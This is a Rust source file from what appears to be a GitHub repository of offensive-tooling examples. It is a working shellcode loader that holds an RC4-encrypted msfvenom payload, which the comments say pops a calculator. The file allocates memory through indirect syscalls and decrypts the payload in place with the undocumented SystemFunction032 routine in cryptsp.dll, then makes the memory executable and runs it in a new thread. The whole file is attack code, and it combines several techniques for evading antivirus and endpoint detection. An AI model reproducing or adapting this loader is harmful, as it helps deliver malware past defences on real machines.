-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsystemfunction032.rs
138 lines (121 loc) · 4.87 KB
/
systemfunction032.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
use std::ffi::c_void;
use std::ptr::null;
use winapi::shared::ntdef::{HANDLE, LPCSTR};
use winapi::um::libloaderapi::LoadLibraryA;
use winapi::um::winnt::{
GENERIC_EXECUTE, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE
};
use thermite::{error, info};
use thermite::indirect_syscall as syscall;
use thermite::peb_walk::get_function_address;
#[repr(C)]
struct UString {
length: u32,
capacity: u32,
buf: *mut u8,
}
#[repr(C)]
pub struct ClientId {
pub unique_process: HANDLE,
pub unique_thread: HANDLE,
}
fn systemfunc032(data: &mut UString, key: &mut UString) -> Result<(), String> {
let cyptsp_handle = unsafe { LoadLibraryA(b"cryptsp\0".as_ptr() as LPCSTR) };
if cyptsp_handle.is_null() { return Err("Failed to load cyptsp.dll".to_string()) }
let systemfunction_032: fn(*mut UString, *mut UString) -> i32 = unsafe {
match get_function_address("SystemFunction032", cyptsp_handle) {
Ok(addr) => std::mem::transmute(addr),
Err(e) => { return Err(format!("Failed to find SystemFunction032 address : {e}")) }
}
};
let res = systemfunction_032(data, key);
if res != 0 { return Err(format!("systemfunction_032 failed, somehow...\nError code: {res}")) }
Ok(())
}
fn main(){
// Simple pop calc shellcode from msfvenom, encrypted in RC4 using the following cyberchef recipe :
// https://gchq.github.io/CyberChef/#recipe=From_Hex('0x%20with%20comma')RC4(%7B'option':'Hex','string':'DEADBEEF'%7D,'Latin1','Latin1')To_Hex('0x%20with%20comma',16)
let encypted_shellcode: [u8; 276] = [
0x1f,0xdd,0x31,0xe1,0x7b,0xc0,0xb7,0x4c,0x9d,0xa1,0x45,0x21,0x7a,0x1a,0x4e,0x82,
0x7e,0x77,0x31,0x71,0xf7,0x3c,0xec,0x7e,0x12,0xde,0xc4,0x1b,0x03,0x2b,0x29,0xb8,
0x9a,0x33,0x4b,0xd9,0x91,0xa2,0x08,0xb8,0x71,0x44,0x79,0xc4,0x7e,0xa5,0xf8,0xfc,
0x8a,0x3f,0xd0,0xef,0x70,0x92,0xbb,0x77,0xad,0x3b,0xc9,0x5d,0x22,0xd8,0xbe,0x15,
0xcb,0x79,0xa8,0x61,0xb6,0x9b,0xcd,0x80,0x21,0x3f,0x67,0xbf,0xbf,0xae,0x70,0x71,
0x4d,0xfc,0x7f,0x85,0x77,0x7a,0x17,0x4b,0xb7,0xff,0x62,0xda,0x8a,0x5f,0x11,0xca,
0x72,0x2a,0x1d,0x5b,0x68,0x3c,0xc4,0x9d,0x74,0x75,0x87,0x0f,0x69,0x4b,0xc9,0x7e,
0x61,0x96,0x07,0x78,0x6f,0xc6,0xbe,0x3f,0x9f,0xb7,0xce,0x44,0x48,0x11,0xd8,0xb9,
0x59,0x7f,0x9f,0x81,0x5a,0xc7,0xd5,0xad,0x57,0x28,0x00,0xd5,0x8b,0x6f,0x7c,0x05,
0x12,0x3c,0x7c,0x67,0xdb,0x05,0xd6,0x13,0xab,0xa8,0xd9,0x4c,0x31,0x13,0x14,0xca,
0x5e,0xb1,0xd5,0xcb,0x2c,0x42,0x9e,0x69,0x59,0x85,0xbc,0x1c,0x20,0x35,0xdf,0x0a,
0x0b,0xe4,0xcc,0x2d,0x8b,0x74,0xf6,0x17,0x2e,0x38,0x60,0xdc,0x31,0xd1,0xf7,0xc5,
0x25,0xee,0x64,0x8b,0x08,0xe4,0x21,0xab,0xa1,0x5e,0x5b,0xdf,0x4a,0xb7,0x33,0xf9,
0xd5,0x37,0xeb,0x67,0x11,0xdb,0x96,0x1e,0xa6,0xba,0x54,0x80,0xb0,0x25,0x38,0xf3,
0x4e,0xa9,0xb1,0x48,0x97,0x5a,0x37,0x8d,0x5f,0x93,0xa2,0x09,0xef,0xf0,0xc4,0xaa,
0x4b,0x30,0x9c,0xb5,0xf9,0x4d,0x0b,0x24,0xc2,0xfc,0xfe,0xdf,0xa6,0x2a,0x3b,0x28,
0x7c,0x3d,0x9b,0x5a,0x12,0xa0,0xae,0xdb,0xd3,0xef,0xaa,0xfd,0xf6,0x31,0x3e,0x00,
0xb8,0x77,0xac,0xa2
];
let mut key: [u8; 4] = [0xDE, 0xAD, 0xBE, 0xEF];
// I recycled the code from the shellcode injector example
// The only changes are lines 95-112
let mut thread_handle: isize = 0;
let process_handle: isize = -1;
let mut buf_size: usize = encypted_shellcode.len();
let mut base_addr: *mut u8 = 0u32 as _;
syscall!("NtAllocateVirtualMemory",
process_handle,
&mut base_addr,
0u32,
&mut buf_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
info!("Allocated {} bytes of memory at address {:#x?}", buf_size, base_addr);
let mut bytes_written: usize = 0;
syscall!("NtWriteVirtualMemory",
process_handle,
base_addr,
&encypted_shellcode,
buf_size,
&mut bytes_written);
info!("Successfully written {} bytes in target process' memory", bytes_written);
// Now, time to decrypt the shellcode
let mut data_ustr = UString {
length: buf_size as u32,
capacity: buf_size as u32,
buf: base_addr,
};
let mut key_ustr = UString {
length: key.len() as u32,
capacity: key.len() as u32,
buf: key.as_mut_ptr() as _,
};
match systemfunc032(&mut data_ustr, &mut key_ustr) {
Ok(()) => info!("Successfully decrypted shellcode"),
Err(e) => {
error!("Failed to decrypt shellcode: {}", e);
}
};
// Back to old code from the injector example
let mut bytes_written = encypted_shellcode.len();
let mut old_protec = PAGE_READWRITE;
syscall!("NtProtectVirtualMemory",
process_handle,
&mut base_addr,
&mut bytes_written,
PAGE_EXECUTE_READ,
&mut old_protec);
syscall!("NtCreateThreadEx",
&mut thread_handle,
GENERIC_EXECUTE,
null::<*mut c_void>(),
process_handle,
base_addr,
base_addr,
0i32,
null::<*mut c_void>(),
null::<*mut c_void>(),
null::<*mut c_void>(),
null::<*mut c_void>());
syscall!("NtWaitForSingleObject", thread_handle, 0, null::<*mut c_void>());
syscall!("NtClose", thread_handle);
}